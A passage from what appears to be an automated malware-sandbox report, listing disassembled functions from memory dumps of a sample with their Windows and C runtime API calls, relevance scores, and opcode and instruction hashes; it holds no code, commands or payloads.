Instruction Fuzzy Hash: 8CD18DB5E002489FCF15CFA8C8909EEBBB5FF49314F28412AE456EB351D634AD86CB54

Function 04B698F3 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(0042C014,00000000,00000000,00000000), ref: 04B69956

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 04B69BA8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 04B69BEE
GetLastError.KERNEL32 ref: 04B69C91

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction ID: 20fb629d2319977d8e0a90e53d90f576d992aa604d8022d50a419d1a00aad359
Opcode Fuzzy Hash: da9c2254c3d6feb7781c277c4017dde1248fb7d9dc01eb7e01956cc2f511bebb
Instruction Fuzzy Hash: A0D17AB5E002489FDF15CFA8D880AEDBBF4FF48314F2845AAE556EB351D634A942CB50

Function 04B51BA7 Relevance: 6.3, APIs: 4, Instructions: 293networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B51C3C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B51C5F

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction ID: d78022b190d199e24fa4dfbbd05c23e3d9b28f256aab605a1b678a320fa2b53c
Opcode Fuzzy Hash: 1885a8dfee8479765fa90636c8dddbf3c0bf84813e2bd3c7ed7779aacb4cd4c8
Instruction Fuzzy Hash: 0AC139B09002189FEB25DF68CC84BE9F7B4EF49304F1441D9E909AB2A0D775AE95CF91

Function 0040BA64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040BB2B
___AdjustPointer.LIBCMT ref: 0040BB4E
___AdjustPointer.LIBCMT ref: 0040BBEA

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: c3f9129e04d39096db86ee3dbd798fa579d010b72ca6babdac1055268f0b1971
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: F651A972600306ABEB298F11C881BAA77B4EF40714F14413FE802A76D5E739AC91CBDD

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 04B5BCCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B5BD92
___AdjustPointer.LIBCMT ref: 04B5BDB5
___AdjustPointer.LIBCMT ref: 04B5BE51

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: d0f148aa2b80e401a00b4811aea432a4d4eefc3f6eb1a3b10e5899c9db3a88f6
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: D051C172608646AFEF299F54D841BBAF7A4EF04314F1849ADED415B2B0E731F880DB90

Function 04D1AE64 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04D1AF2B
___AdjustPointer.LIBCMT ref: 04D1AF4E
___AdjustPointer.LIBCMT ref: 04D1AFEA

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction ID: ad983e33268ec80e8fa473f08664ec562ec492d4c89992667fdc6ab750ea82f8
Opcode Fuzzy Hash: bf321dce71054df2b862cad56193e6d87e1aafecfb24913b63c52c13f6cff331
Instruction Fuzzy Hash: A5517DB2702206BFEB299E50E880B6AB7A5FF40714F14452AFC45463B0E731F841D790

Function 04B51837 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 04B5183C

Part of subcall function 04B59AA9: std::invalid_argument::invalid_argument.LIBCONCRT ref: 04B59AB5

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 04B51872
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 04B518A9
Concurrency::cancel_current_task.LIBCPMT ref: 04B519BE

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID:
API String ID: 2123813255-0
Opcode ID: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction ID: 6e3f2e1a642fde3a72807bcb7c352e9aa2a107c8b5806956307921275e9bfcb4
Opcode Fuzzy Hash: 76bb2ae1955411a23ec2113ce7c3df1698fa8cdaa81397e4e46f03e77a8728ac
Instruction Fuzzy Hash: 1E41EBB1E00300EBE7249F689C84B5AF7F8EF45254F1006A9ED5AD72A0E771BD05C7A1

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: c5759a61a7976f34472f3230490c401b0bdcfc1ff84e849ca2e690b48099d67c
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 10008336 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction ID: d1df9cd49d1a9d965a935ddcfcfd3b9185eaf4079d6f623355f3cc1fa6217373
Opcode Fuzzy Hash: 7fde20d58f3e1108cd5a86cb085c551b539ad6d33639cd9718ad33b154971d06
Instruction Fuzzy Hash: C821D075A00206BFF710DF61CC8090B779CFF846E47108124FA949215AEB31EF0087A0

Function 004174A4 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

GetLastError.KERNEL32 ref: 00417508
__dosmaperr.LIBCMT ref: 0041750F
GetLastError.KERNEL32(?,?,?,?), ref: 00417549
__dosmaperr.LIBCMT ref: 00417550

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: 408a06d1cf8366b2ae1f3811782f7cd1de2d149ac6df674c503089c6b33b154d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 2B21CD716042057FDB20AF66C880CAB7779EF44368710852AF91997751D739ED818768

Function 04B6770B Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

GetLastError.KERNEL32 ref: 04B6776F
__dosmaperr.LIBCMT ref: 04B67776
GetLastError.KERNEL32(?,?,?,?), ref: 04B677B0
__dosmaperr.LIBCMT ref: 04B677B7

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction ID: f4526a12b2d6cfcbdbd6154a40763b9e242f2d3e4138721b66fa84794ee8b04d
Opcode Fuzzy Hash: fff5e27c2a9c5f498cd8e37e9d2e5b67da44c55886b9eb81921f36740ae9eac4
Instruction Fuzzy Hash: 40216271600206AFEB20AF65DC8497BB7ADFF4826C71085A9E92B97150EF39FC518B50

Function 004111DB Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: c7293b4e2709a45a538168f771ca0d14dcb5837bd486a4ca313c9b6cb4d0090e
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: DF21C971600219AFDB20AF659C40DEB776DAF44368B10456BFA29E7261D738DC8187A8

Function 04B61442 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction ID: 0937be4c3a0f95bc59f73deebab5d1a5cf266e586aac11e6638c6380ec15a4fc
Opcode Fuzzy Hash: daefbb992f6e98e82da9deec0440fc20cde4ea8490cf1120197b10a32be04fa6
Instruction Fuzzy Hash: C3219671200205AFEB10AF6DDC8096BB7AEFF4426970085A5ED1BD7150E739FC118BA0

Function 00418445 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041844D

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00418485
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004184A5

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction ID: 9202fe00a5822ec58f1db5debff3a6e736622b39abe9cc99b2a2d556b75614f5
Opcode Fuzzy Hash: 42e04dca39cc9313a1bac36138922e873b2761e214a8738c343e5be4cc190242
Instruction Fuzzy Hash: A01104B65005167F6B212BB25D89CEF295CDF89398721402EF905A1201FE2CDE8241BE

Function 04B635A0 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,04B636AF,04B537FE,?,00000000,04B52A70,04B52A72,?,04B63828,00000022,00420B0C,00422950,00422958,04B52A70), ref: 04B63661

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 986a46d7506b7a769d448398190e08aba98ada76e2fce98b8689e474a220f80a
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: 2C210532F05210ABC7319F24EC80A5A7BA9EB42760F1511B0ED07A73D1DB38FD02C694

Function 04B686AC Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 04B686B4

Part of subcall function 04B651BF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,04B65422,?,00000000,-00000008), ref: 04B65220

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B686EC
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 04B6870C

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction ID: ba30c4dbe4331058796c72856df44962592a77fb103f38f2799d84ca77c680ad
Opcode Fuzzy Hash: f25717e6bd25f80c70edce058ac37b14eb42a5c51d25e47d03568e648881f521
Instruction Fuzzy Hash: E31184B66025197F77213B725CCCCBF6DADDE4919870104B4F90796100FA68EE0185B6

Function 04D1AD84 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04D1ADA0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04D1ADB9

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 410cb2dec83f0e149793fed91062ab2606e69ffbbe45f606be61b73123cc28a5
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 0F01883270A711BEB73527B87CC5A5B2B54FB01679B60023BFD10552F1FE55B80255D4

Function 0041CBE8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 04B6CE4F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000), ref: 04B6CE66
GetLastError.KERNEL32(?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000,?,04B6A288,?), ref: 04B6CE72

Part of subcall function 04B6CE38: CloseHandle.KERNEL32(0042CA30,04B6CE82,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000,00000000), ref: 04B6CE48

___initconout.LIBCMT ref: 04B6CE82

Part of subcall function 04B6CDFA: CreateFileW.KERNEL32(00428728,40000000,00000003,00000000,00000003,00000000,00000000,04B6CE29,04B6CAB3,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE0D

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,04B6CAC6,00000000,00000001,?,00000000,?,04B69CE5,00000000,00000000,00000000,00000000), ref: 04B6CE97

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: dc75c7f2d23fda5d49179f7743a2973bf4464179386fd2fb86f42017cf95b76e
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: FCF0303A500118BBCF325F95DC04ACD3F36FF086A1B404470FA6E96130D736A821ABD4

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 04B5BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B5BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B5BB1A

Strings

csm, xrefs: 04B5BB04

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
